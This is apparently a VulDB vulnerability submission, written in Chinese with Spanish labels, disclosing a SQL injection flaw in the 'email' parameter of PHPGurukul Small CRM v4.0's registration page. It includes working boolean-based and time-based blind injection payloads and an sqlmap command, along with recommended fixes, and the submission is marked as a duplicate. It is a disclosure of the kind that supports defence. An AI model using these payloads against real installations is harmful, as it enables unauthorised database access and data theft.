| Título | php库.com PHP项目中的小型CRM。 v4.0 SQL Injection |
|---|
| Descripción | phpgurukul.com Small CRM in PHP 项目 V4.0 /crm/registration.php SQL注入
受影响产品名称
Small CRM in PHP
厂商主页
-phpgurukul.com
受影响和/或已修复的版本
提交者
《vuldb的名称》
存在漏洞的文件
/crm/registration.php
版本
V4.0
软件链接
https://phpgurukul.com/small-crm-php/
问题类型
漏洞类型
SQL注入
根本原因
在“Small CRM in PHP”项目的“/crm/registration.php”文件中发现了一个SQL注入漏洞。该问题的原因是攻击者从“email”参数注入恶意代码,并在SQL查询中直接使用,而无需适当的清理或验证。这使得攻击者可以伪造输入值,从而操纵SQL查询并执行未经授权的操作。
影响
攻击者可以利用此SQL注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、全面系统控制,甚至服务中断,对系统安全和业务连续性构成严重威胁。
描述
在对“Small CRM in PHP”进行安全审查期间,我发现“/crm/registration.php”文件中存在一个严重的SQL注入漏洞。该漏洞源于对“email”参数的用户输入验证不足,使攻击者能够注入恶意的SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并访问敏感信息。需要立即采取补救措施,以确保系统安全并保护数据完整性。
利用此漏洞无需登录或授权
漏洞详情和概念验证(POC)
漏洞位置:
“email”参数
负载(Payload):
makefile
深色版本
参数:email (POST)
类型:基于布尔的盲注
标题:基于布尔的盲注 - WHERE 或 HAVING 子句
负载:name=1a&[email protected]' AND 8871=8871 AND 'zGaS'='zGaS&password=1&cpassword=1&phone=1234567890&gender=m&submit=Submit
类型:基于时间的盲注
标题:MySQL >= 5.0.12 基于时间的盲注 (query SLEEP)
负载:name=1a&[email protected]' AND (SELECT 7075 FROM (SELECT(SLEEP(5)))lAEC) AND 'neyr'='neyr&password=1&cpassword=1&phone=1234567890&gender=m&submit=Submit
以下是使用sqlmap工具进行测试和运行时获取的部分具体信息的截图:
bash
深色版本
sqlmap -u "http://127.0.0.1/crm/registration.php" --data="name=1a&email=111s1%40qq.com&password=1&cpassword=1&phone=1234567890&gender=m&submit=Submit" --dbs
<img width="2308" height="916" alt="Image" src="https://github.com/user-attachments/assets/abdf4191-be6c-4370-9038-c9ad7ecb097e" />
建议的修复措施
使用预编译语句和参数绑定:
预编译语句可以防止SQL注入,因为它们将SQL代码与用户输入数据分离。使用预编译语句时,用户输入的值被视为纯数据,不会被解释为SQL代码。
输入验证和过滤:
严格验证和过滤用户输入数据,确保其符合预期格式。
最小化数据库用户权限:
确保用于连接数据库的账户具有最低必要权限。避免在日常操作中使用具有高级权限(如'root'或'admin')的账户。
定期安全审计:
定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。 |
|---|
| Fuente | ⚠️ https://github.com/ubfbuz3/cve/issues/35 |
|---|
| Usuario | shang (UID 89579) |
|---|
| Sumisión | 2025-08-28 15:23 (hace 1 Año) |
|---|
| Moderación | 2025-09-03 13:36 (6 days later) |
|---|
| Estado | Duplicado |
|---|
| Entrada de VulDB | 260480 [PHPGurukul Small CRM 3.0 Registration Page inyección SQL] |
|---|
| Puntos | 0 |
|---|